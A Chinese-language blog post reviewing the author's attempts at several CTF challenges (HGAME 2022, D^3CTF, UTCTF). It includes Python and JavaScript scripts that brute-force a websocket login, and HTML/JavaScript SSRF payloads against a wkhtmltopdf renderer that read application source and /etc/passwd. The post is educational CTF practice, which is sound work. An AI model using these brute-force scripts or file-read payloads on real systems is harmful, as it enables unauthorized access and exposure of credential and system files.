1. 程式人生 > 其它 >CTF比賽覆盤(一)

CTF比賽覆盤(一)

HGAME 2022

WEB

EASY RSA

下載後發現是一個python原始碼,簡單瀏覽後(我不是看的很懂python和rsa)推測跑一跑出flag(偷懶qwq),執行後發現許多包未下載,用pip逐一安裝,其中Crypto包安裝存在一定問題,參考pip安裝後解決,擴充套件包安裝完畢後發現仍無法執行:cannot import name 'flag' from 'secret',寄!

附大佬部落格中的RSA題型總結

蛛蛛...嘿嘿♥我的蛛蛛

根據關卡序號N下方有N個按鈕,其中有某一個可以通往下一關,F12開啟原始碼,尋找有連結的按鈕,100關後進入最後一關,尋找flag,網頁原始碼中並沒有flag,試圖讀取flag.txt失敗,顯示“KEY有毒”(所以是啥呀喂)!

Tetris plus

小遊戲,有三個同色的相互接觸即可得分的消消樂,開心的玩到3000分提示莫得flag(寄)。

D^3CTF

WEB

d3oj

shorter

  • .DS_Store:.DS_Store檔案解析

    本題

    0x04塊對齊

    偏移量表:[

    00 00 10 0B, //根塊資訊,標記為0x01號

    00 00 00 45,

    00 00 00 25,

    ]

    計算位置及大小:

    0x01:
    100BH => 0000 1011B => 0x1000 //位置,別忘了0x04的偏移
    01011B = 11D => 2^11 = 2048 => 1000 0000 0000B => 0x0800 //大小
    0x02:
    0045H => 0100 0101B => 0x40 
    2^5 = 32 = 0x20
    0x03:
    0x25 => 0010 0101B => 0x20
    2^5 = 32 = 0x20
    

    得出結論:沒有目錄資訊....(我吐了)

  • _MACOSX:_MACOSX是什麼資料夾

  • SNAPSHOT:Maven快照

  • Docker:Docker菜鳥

UTCTF

UTCTF

UTCTF

WEB

  • IP埠範圍[1,65535]

Websockets?

進入登陸頁面,採用"websocket"協議進行使用者登入的連線,用burp抓包後發現要想建立連線需要快速傳送:

  1. "begin"
  2. "user ${user}"
  3. "pass ${password}"

當user與pass的值都正確後才能成功建立連線。F12發現原始碼中有提示密碼位三位數字,編寫指令碼進行爆破即可。

nkk提供了python的爆破指令碼

import asyncio
import websockets

# 向伺服器端認證,使用者名稱密碼通過才能退出迴圈
async def auth_system(websocket, password):
    while True:
        begin_text = "begin"
        username = "user admin"
        password = "pass "+ password
        await websocket.send(begin_text)
        await websocket.send(username)
        await websocket.send(password)
        response_str = await websocket.recv()
        print(password +" " + response_str)
        if "badpass" in response_str:
            return True

# 客戶端主邏輯
async def main_logic():
    Continue = True
    password = 100
    while Continue:
        async with websockets.connect('ws://web1.utctf.live:8651/internal/ws') as websocket:
            Continue = await auth_system(websocket, str(password))

        password += 1

        # await send_msg(websocket)

asyncio.get_event_loop().run_until_complete(main_logic())

嘗試自己編寫js的爆破指令碼(0/1)

3/14 2:28 指令碼編寫已成功(1/1)

async function send_(wss,msg){  //傳送資訊
    wss.send(msg);
    console.log('sending: '+msg)
}

async function websoc(num){
    
    var ws = new WebSocket('ws://web1.utctf.live:8651/internal/ws');  //建立ws連線
    var isOk=false;  //標記此次連線的試探結果

    await new Promise((resolve,reject) => {
        ws.onopen = async function() {  
            console.log("well open");  //通知連線成功
            try{
                await send_(ws,'begin');  //按格式傳送資料來建立session
                await send_(ws,"user admin");
                await send_(ws,"pass "+num);  //密碼試探
                await new Promise((resolve,reject) => {
                        setTimeout(resolve,10000)  //若十秒內無badpass回顯則此次試探成功
                        ws.onmessage = (evt) => {
                            console.log(evt);
                            if(evt.data=='badpass') {  //此次試探失敗,更改標記
                                isOk=true;  //這裡順序可以調換,resolve()不會立即跳出
                                resolve('pwderr');  
                            }
                        }
                    })
                    if (isOk){
                        throw new Error("bad pass!")  //丟擲試探失敗的err
                    }
            } catch(err) {
                console.log(err);  //通知試探失敗
            }
            resolve();  //這裡一定一定要加括號,這樣才是函式呼叫,否則只是引數
        };
    })
    
    await new Promise((resolve,reject) => {
        ws.onclose = function() {
            console.log('Connection closed.');  //通知連線斷開
            resolve();  //不加括號會出現resolve無效的情況,程式會卡住
          };
    })

    return isOk  //返回標記
}

async function main_logic(beg,end){  //輸入密碼爆破的範圍
    var running=true;
    var num=beg;
    while(running && num<=end){  //爆破密碼
        console.log("following: "+num)  //通知本次試探的num
        running = await websoc(num)  //試探num
        num+=1
    }
    if(num<=end) console.log("success!")  //通知爆破結果
    else console.log("failed!")
}

JavaScript下websocket的非同步處理思路:

websocket的連線建立並返回"badpass"後若不繼續傳輸資料,則會產生以下報錯並斷開連線:

VWebSocket connection to 'ws://web1.utctf.live:8651/internal/ws' failed: Invalid frame header

若繼續傳輸無效資料則會返回"error"並正常斷開連線

onopen onmessage onclose函式分別包裹進promise中,當條件達成時再結束本次promise以達到非同步處理的效果,試探失敗就等待連線斷開後重新建立連線


總結:本題涉及"websocket"協議,需瞭解後摸清連線規則,編寫指令碼爆破密碼

參考:[

es6使用websocket同步等待方法,

WebSocket MDN文件,

JavaScript教程-Promise,async/await,

NKK的的py指令碼,

]

HTML2PDF

一個html轉pdf的渲染器

由於可以藉助<iframe src="">訪問其他網址,故此處存在ssrf漏洞。具體操作不明,放兩個奇怪的程式碼塊用於渲染:

<style>
* {
width: 100%;
height: 95%;
margin: 0;
padding: 0;
}
</style>
<iframe src="javascript:document.write(navigator.userAgent);"> //沒看懂引號中的語法= =
//  遠端是wkhtmltopdf 9.0,此處測試ssrf的可能性
/* app根目錄在/usr/src/app,上傳上去的html在/usr/src/app/隨機數字.htm,上傳的檔案不會刪除 | 來自二師傅的結論 */
<style>
* {
width: 100%;
height: 98%;
margin: 0;
padding: 0;
}
</style>
<iframe src="file:///usr/src/app/app.py">  //獲取app原始碼,怎麼摸清原始碼位置的?
from flask import *         #原始碼
import pdfkit
import subprocess
import time
import os
import spwd
import crypt

from hmac import compare_digest as compare_hash
app = Flask(__name__)

@app.route('/', methods=['POST','GET'])  ##連線路勁,方法為POST或者GET
def index():  	##主頁
	if request.method == 'POST':   ##POST方法
		html_content = request.form.get('content')   ##由表單GET方法得到的content內容
		if html_content is None: 		##content為空
			return render_template('index.html')	
		if '/environ' in html_content:  ##含有/environ路徑
			# Don't let them read the flag from /proc/<pid>/environ
			return 'Aren''t you sneaky? That''s a good idea, but not the intended solution, so keep trying :)'  ##不給你看
		# Filenames.
		html = render_template('document.html', content=html_content)  ##讀取資料?
		uid = str(hash(time.time())) # Using a hash of the time ensures unique filenames between requests.
		out_filename = uid+'.pdf'  ##uid取雜湊為隨機數
		html_filename = uid+'.html'
		html_file = open(html_filename, 'w')
		html_file.write(html)  ##用html渲染?
		html_file.close()  

        # Generate PDF.
		TIMEOUT = '3'
		subprocess.run(['xvfb-run', 'timeout', '--preserve-status', '-k', TIMEOUT, TIMEOUT,
'wkhtmltopdf','--enable-local-file-access', html_filename, out_filename])
			##後臺利用wkhtmltopdf渲染pdf
        # Cleanup and return result.
		out_file = open(out_filename, 'rb')  
		output = out_file.read()
		out_file.close()
		#os.remove(out_filename)
		#os.remove(html_filename)
		response = make_response(output)  ##建立響應
		response.headers['Content-Type'] = 'application/pdf'  ##建立響應頭
		response.headers['Content-Disposition'] = 'inline; filename=document.pdf'
		return response
	return render_template('index.html')  ##渲染後返回pdf頁面

@app.route('/admin', methods=['POST','GET'])  ##登入頁面在"/admin"下
def adminLogin():  ##登入規則
	if request.method == 'POST':
		username = request.form.get('username')		##讀取使用者名稱密碼
		password = request.form.get('password')
		if username is None or password is None:	##若為空
			return render_template('login.html')

        # Check that username and password match a user in the system.
		try:
			pw1 = spwd.getspnam(username).sp_pwd  ##從密碼庫中取使用者名稱對應的密碼
			pw2 = crypt.crypt(password, pw1)		##利用真密碼對輸入密碼二次加密?
			if compare_hash(pw2, pw1):  ##取雜湊並比較
				return render_template('login.html', msg=os.environ['FLAG'])  ##通過比較返回flag
			else:
				return render_template('login.html', msg='Incorrect password!')
		except KeyError:
			# No such username.
			return render_template('login.html', msg='Incorrect username!')
	return render_template('login.html')

if __name__ == '__main__':
	app.run(host='0.0.0.0')

原始碼中可以看到我們可以訪問"/admin"進入登入介面,登陸成功即可得到flag,可是具體怎麼登陸沒看懂= =


藉助file:///${path}.//.${filename}協議訪問本地的檔案

file協議對應有一個類似http的遠端訪問,就是ftp協議,即檔案傳輸協議

<style>
* {
width: 100%;
height: 98%;
margin: 0;
padding: 0;
}
</style>
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
/*
密碼hash
$1$Rj9G/TPc$e5k/QAhlagK6pxGyfQNJ5.
spwd庫要root才能用,root有許可權讀/etc/shadow
*/

javascript:document.write(navigator.userAgent):往檔案寫入瀏覽器http請求頭資訊(標記為javascript語言),接上方語法


<img src=x onerror=document.write(window.location)> <!-- 不知道xml的相關語法 -->

該語句通過XML語句成功讀取本地執行目錄

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
<!-- xml語法919 -->

該語句通過xml語句,讓後臺執行讀取本地"/passwd"檔案內容,併發出資料,接收到資料後再寫入我們傳入的檔案中,最後顯示出來。即這是後臺自己讀取發給我們的,而不是我們申請讀取"passwd"內容的(若是直接嘗試讀取passwd會因為許可權不足而失敗)

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:wwwdata:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network
Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:102:103:systemd
Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin messagebus:x:103:105::/nonexistent:/usr/sbin/nologin
avahi:x:104:107:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:105:108::/var/lib/geoclue:/usr/sbin/nologin dave:x:1000:1000::/home/dave:/bin/bash
john:x:1001:1001::/home/john:/bin/bash emma:x:1002:1002::/home/emma:/bin/bash
WeakPasswordAdmin:x:1003:1003::/home/WeakPasswordAdmin:/bin/bash

好像這裡的都是有效使用者,留意到最後一項為"WeakPasswordadmin"弱密碼使用者,可以以此為使用者名稱並直接爆破出弱密碼為"sunshine",從而登入得到flag!


總結:本題涉及知識點有SSRF漏洞利用程式碼審計(python)弱密碼爆破。其中SSRF漏洞需要一定的HTML的繞過知識

參考:[

PDF解析器html/XSS 實現SSRF

wkhtmltopdf漏洞

全國弱口令TOP1000

]

Beginner

BabyShark

提示HTTP中有資訊

用wireshark開啟後發現兩條HTTP流,第一條提示曾用GET方法請求過"flag.png"檔案,第二條流是一個PNG檔案的傳輸流,猜測為flag影象,

右鍵PNG欄目(Portable Network Graphics),匯出分組位元組流並儲存為"flag.png"

得到flag

BabyShark2

這個更簡單,提示ftp流有資訊,過濾欄輸入"ftp"提取ftp資訊發現有很多,觀察資訊直接找到flag

WP參考:csn3rd